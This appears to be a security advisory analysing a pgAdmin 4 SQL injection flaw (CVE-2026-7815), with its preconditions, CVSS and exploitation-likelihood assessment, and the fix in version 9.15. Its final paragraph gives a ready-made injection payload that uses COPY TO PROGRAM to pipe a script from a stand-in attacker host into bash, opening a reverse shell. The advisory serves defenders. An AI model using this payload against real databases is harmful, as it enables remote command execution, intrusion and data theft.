pgAdmin 4 CVE-2026-7815

Attacker must possess valid pgAdmin 4 authentication credentials with the tools_maintenance permission explicitly granted (not a default permission for read-only or developer roles). Requires an active PostgreSQL database connection configured in pgAdmin. The PostgreSQL server must allow COPY TO PROGRAM operations, which requires superuser privileges or the pg_execute_server_program role in PostgreSQL 11+, meaning the pgAdmin database connection must use a privileged account (common in administrative tooling but limits scope if connections use restricted service accounts). Exploitation is remote (AV:N) with low complexity (AC:L) and no user interaction required (UI:N) once authenticated. What LIMITS exploitation: the specific tools_maintenance permission is not granted by default to all pgAdmin users; organizations following least-privilege principles may restrict this permission to dedicated DBAs. Additionally, PostgreSQL instances hardened with pg_hba.conf restrictions, SELinux/AppArmor policies blocking shell execution from postgres processes, or network segmentation preventing outbound connections from database hosts reduce post-injection impact. The vulnerability does NOT require pgAdmin to be internet-facing if the attacker has internal network access.

Real-world risk is HIGH for environments with authenticated pgAdmin users. CVSS 8.8 accurately reflects the network-accessible attack vector (AV:N) with low complexity (AC:L) requiring only low-privilege authentication (PR:L) and no user interaction (UI:N), producing high impact across confidentiality, integrity, and availability. The vulnerability combines two dangerous primitives: SQL injection in a database administration tool and a direct path to OS command execution via PostgreSQL's COPY TO PROGRAM feature. However, exploitation requires specific preconditions that reduce attack surface compared to unauthenticated vulnerabilities: attackers must have valid pgAdmin credentials AND the tools_maintenance permission explicitly granted. EPSS score not available for assessment of exploitation probability. Not listed in CISA KEV, suggesting no confirmed widespread exploitation campaigns. No public proof-of-concept code identified in references, though the GitHub issue tracker link may contain technical details accessible to skilled attackers. SSVC factors favor prioritization: exploitation is likely automatable once authenticated (inject payload via API), technical impact is total (arbitrary OS commands on database host), and pgAdmin deployments are common in enterprise PostgreSQL environments. The fix availability in version 9.15 with clear remediation path elevates this to immediate patching priority for organizations running affected versions, especially if pgAdmin is exposed to untrusted internal users or if database hosts contain sensitive data or pivot opportunities.

An attacker with valid pgAdmin credentials and tools_maintenance permission authenticates to the web interface, navigates to the Maintenance Tool for a connected PostgreSQL database, and initiates a VACUUM operation. In the buffer_usage_limit JSON field, they inject a payload like "1; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash'; --" which breaks out of the intended parameter syntax. The malformed command reaches the PostgreSQL server, executes the injected COPY TO PROGRAM statement, downloads a reverse shell script, and executes it with the privileges of the PostgreSQL service account, granting the attacker OS-level access to the database host for data exfiltration, persistence, or lateral movement.